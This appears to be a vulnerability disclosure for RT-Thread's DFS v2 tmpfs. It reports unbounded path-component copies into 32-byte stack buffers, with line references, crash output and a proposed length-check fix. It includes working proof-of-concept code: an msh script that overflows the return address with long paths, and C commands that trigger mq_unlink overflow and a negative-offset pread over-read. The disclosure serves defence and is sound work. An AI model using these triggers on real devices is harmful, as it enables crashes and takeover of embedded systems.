Summary
components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c copies path components
into fixed 32-byte stack buffers without any length check. A path component
longer than TMPFS_NAME_MAX (32) overwrites the stack frame of the calling
function, including saved registers and the return address, with fully
attacker-controlled bytes. On a typical no-MMU configuration this is a
denial-of-service to code-execution class defect; it is reachable from the
finsh/msh console and from msh scripts (e.g. an attacker-supplied script file
on a mounted SD card), because mkdir/stat/open are exported commands.
Two independent unbounded copies exist:
_path_separate() — dfs_tmpfs.c:71
rt_memcpy(file_name, path_p, path_q - path_p); /* no bound vs file_name[32] */
file_name[path_q - path_p] = '\0';
reached from dfs_tmpfs_rename() (:621) and dfs_tmpfs_create_vnode() (:721).
_get_subdir() — dfs_tmpfs.c:86-98 (*name++ = *path++; loop, no bound),
reached from dfs_tmpfs_lookup() at dfs_tmpfs.c:258-259 into
char subdir_name[TMPFS_NAME_MAX] (:234). This one triggers on ANY lookup
(open/stat) — no O_CREAT needed.
The DFS core does not bound path components either: dfs_normalize_path()
performs no DFS_PATH_MAX check for absolute paths (dfs.c:1101), and
dentries keep the full-length path (dfs_dentry.c:85,305,312), so the
full component length reaches tmpfs.
Affected
- Component: DFS v2 tmpfs (
components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c)
- Revision: master
6ea6827 (2026-08-21)
- Configuration:
RT_USING_DFS_V2 + RT_USING_DFS_TMPFS, tmpfs mounted at
runtime (tmpfs is not auto-mounted by bsp/qemu-vexpress-a9; any product
that mounts tmpfs — e.g. for /tmp — is affected)
Reproduction (QEMU, bsp/qemu-vexpress-a9, default config)
Boot rtthread.elf with an SD image containing this poc.sh:
mkdir /tmp # create mount point on the root filesystem
poc_mount # PoC helper: dfs_mount(NULL, "/tmp", "tmp", 0, 0)
mkdir /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Then at the msh prompt:
(poc_mount is a one-line MSH_CMD_EXPORT calling
dfs_mount(NULL, "/tmp", "tmp", 0, 0) — any in-firmware application that
mounts tmpfs serves the same purpose.)
Observed (console output followed by the rendered screenshot):
msh />/poc.sh
[poc] mount tmpfs on /tmp -> 0 (0=ok)
backtrace:
please use: addr2line -e rtthread.elf -a -f 6001fa7c
41414141
data abort:Execption:
...
pc :0x6001fa84

addr2line resolves the faulting PC to dfs_tmpfs_lookup
(dfs_tmpfs.c:263), and the backtrace index is 0x41414141 — the return
address slot was overwritten with attacker bytes ('A' = 0x41) from the
72-character component.
Expected result
mkdir/open/stat with a >32-byte component returns -ENAMETOOLONG
(or stores/truncates per POSIX rules); no memory is corrupted.
Impact
- Attacker model: any code that can issue path operations — the msh console
user (mkdir is an exported command), an msh script executed from mounted
media, or an application that passes externally derived filenames (e.g.
filenames received from a network protocol) to POSIX calls.
- Impact: stack smash with attacker-chosen content and length (arbitrary
overflow size); on no-MMU builds, device takeover or permanent crash;
with RT_USING_SMART this is a user-application → kernel escalation.
Suggested fix
Bound every component copy against TMPFS_NAME_MAX and fail with
-ENAMETOOLONG; e.g. in _path_separate():
if (path_q - path_p >= TMPFS_NAME_MAX)
return -ENAMETOOLONG;
and the same length guard in _get_subdir()/dfs_tmpfs_lookup()
(dfs_tmpfs.c:86-98,258-259). Consider centralizing a component-length
check in the DFS core so every filesystem benefits.
Complete PoC source
The full PoC application (bsp/applications/poc.c, English only, uses only
public exported APIs — dfs_mount, mq_unlink, open/write/pread) and the
msh script poc.sh are reproduced here; they are also archived at
REYu6/rt-thread-poc-evidence
together with the rendered console screenshots.
poc.sh (executed on the target as /poc.sh)
mkdir /tmp
poc_mount
mkdir /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bsp/applications/poc.c
#include <rtthread.h>
/* PoC application: simulates a user application / msh script caller.
* Targets: RT-Thread master 6ea6827, qemu-vexpress-a9 default config. */
extern int dfs_mount(const char *device, const char *path, const char *fs, unsigned long rwflag, void *data);
extern int open(const char *, int, ...);
extern long write(int, const void *, unsigned long);
extern long pread(int, void *, unsigned long, long);
extern int close(int);
extern int mq_unlink(const char *);
static void poc_mount(int argc, char **argv)
{
int r = dfs_mount(RT_NULL, "/tmp", "tmp", 0, RT_NULL);
rt_kprintf("[poc] mount tmpfs on /tmp -> %d (0=ok)\n", r);
}
MSH_CMD_EXPORT(poc_mount, mount tmpfs at /tmp);
static void poc_mq(int argc, char **argv)
{
char name[512];
int i;
for (i = 0; i < 200; i++) name[i] = 'M';
name[200] = '\0';
rt_kprintf("[poc] mq_unlink with 200-char name (buffer is %d bytes)...\n", 16 + 12);
mq_unlink(name);
rt_kprintf("[poc] mq_unlink RETURNED (no crash)\n");
}
MSH_CMD_EXPORT(poc_mq, trigger mq_unlink long-name stack overflow);
static void poc_pread(int argc, char **argv)
{
long off = -64;
int fd;
char buf[40];
long n;
int i;
if (argc > 1) off = atol(argv[1]);
fd = open("/tmp/leak.txt", 2 /*O_RDWR*/ | 0x200 /*O_CREAT*/, 0777);
if (fd < 0) { rt_kprintf("[poc] open failed fd=%d errno=%d\n", fd, (int)rt_get_errno()); return; }
write(fd, "AAAABBBBCCCCDDDD", 16);
rt_memset(buf, 0, sizeof(buf));
rt_kprintf("[poc] pread(fd, buf, 32, %ld) on tmpfs file ...\n", off);
n = pread(fd, buf, 32, off);
rt_kprintf("[poc] pread returned %d bytes:", (int)n);
for (i = 0; i < 32; i++) rt_kprintf(" %02x", (unsigned char)buf[i]);
rt_kprintf("\n[poc] done\n");
close(fd);
}
MSH_CMD_EXPORT(poc_pread, pread negative-offset OOB read demo: poc_pread [offset]);
Build (bsp/qemu-vexpress-a9, unmodified default configuration):
cd bsp/qemu-vexpress-a9
RTT_ROOT=/path/to/rt-thread scons -j8
qemu-system-arm -M vexpress-a9 -kernel rtthread.elf -sd sd.bin -nographic
Summary
components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.ccopies path componentsinto fixed 32-byte stack buffers without any length check. A path component
longer than
TMPFS_NAME_MAX(32) overwrites the stack frame of the callingfunction, including saved registers and the return address, with fully
attacker-controlled bytes. On a typical no-MMU configuration this is a
denial-of-service to code-execution class defect; it is reachable from the
finsh/msh console and from msh scripts (e.g. an attacker-supplied script file
on a mounted SD card), because
mkdir/stat/openare exported commands.Two independent unbounded copies exist:
_path_separate()—dfs_tmpfs.c:71dfs_tmpfs_rename()(:621) anddfs_tmpfs_create_vnode()(:721)._get_subdir()—dfs_tmpfs.c:86-98(*name++ = *path++;loop, no bound),reached from
dfs_tmpfs_lookup()atdfs_tmpfs.c:258-259intochar subdir_name[TMPFS_NAME_MAX](:234). This one triggers on ANY lookup(open/stat) — no
O_CREATneeded.The DFS core does not bound path components either:
dfs_normalize_path()performs no
DFS_PATH_MAXcheck for absolute paths (dfs.c:1101), anddentries keep the full-length path (
dfs_dentry.c:85,305,312), so thefull component length reaches tmpfs.
Affected
components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c)6ea6827(2026-08-21)RT_USING_DFS_V2+RT_USING_DFS_TMPFS, tmpfs mounted atruntime (tmpfs is not auto-mounted by
bsp/qemu-vexpress-a9; any productthat mounts tmpfs — e.g. for
/tmp— is affected)Reproduction (QEMU, bsp/qemu-vexpress-a9, default config)
Boot
rtthread.elfwith an SD image containing thispoc.sh:Then at the msh prompt:
(
poc_mountis a one-line MSH_CMD_EXPORT callingdfs_mount(NULL, "/tmp", "tmp", 0, 0)— any in-firmware application thatmounts tmpfs serves the same purpose.)
Observed (console output followed by the rendered screenshot):
addr2lineresolves the faulting PC todfs_tmpfs_lookup(
dfs_tmpfs.c:263), and the backtrace index is0x41414141— the returnaddress slot was overwritten with attacker bytes ('A' = 0x41) from the
72-character component.
Expected result
mkdir/open/statwith a >32-byte component returns-ENAMETOOLONG(or stores/truncates per POSIX rules); no memory is corrupted.
Impact
user (mkdir is an exported command), an msh script executed from mounted
media, or an application that passes externally derived filenames (e.g.
filenames received from a network protocol) to POSIX calls.
overflow size); on no-MMU builds, device takeover or permanent crash;
with
RT_USING_SMARTthis is a user-application → kernel escalation.Suggested fix
Bound every component copy against
TMPFS_NAME_MAXand fail with-ENAMETOOLONG; e.g. in_path_separate():and the same length guard in
_get_subdir()/dfs_tmpfs_lookup()(
dfs_tmpfs.c:86-98,258-259). Consider centralizing a component-lengthcheck in the DFS core so every filesystem benefits.
Complete PoC source
The full PoC application (
bsp/applications/poc.c, English only, uses onlypublic exported APIs —
dfs_mount,mq_unlink,open/write/pread) and themsh script
poc.share reproduced here; they are also archived atREYu6/rt-thread-poc-evidence
together with the rendered console screenshots.
poc.sh (executed on the target as
/poc.sh)bsp/applications/poc.c
Build (
bsp/qemu-vexpress-a9, unmodified default configuration):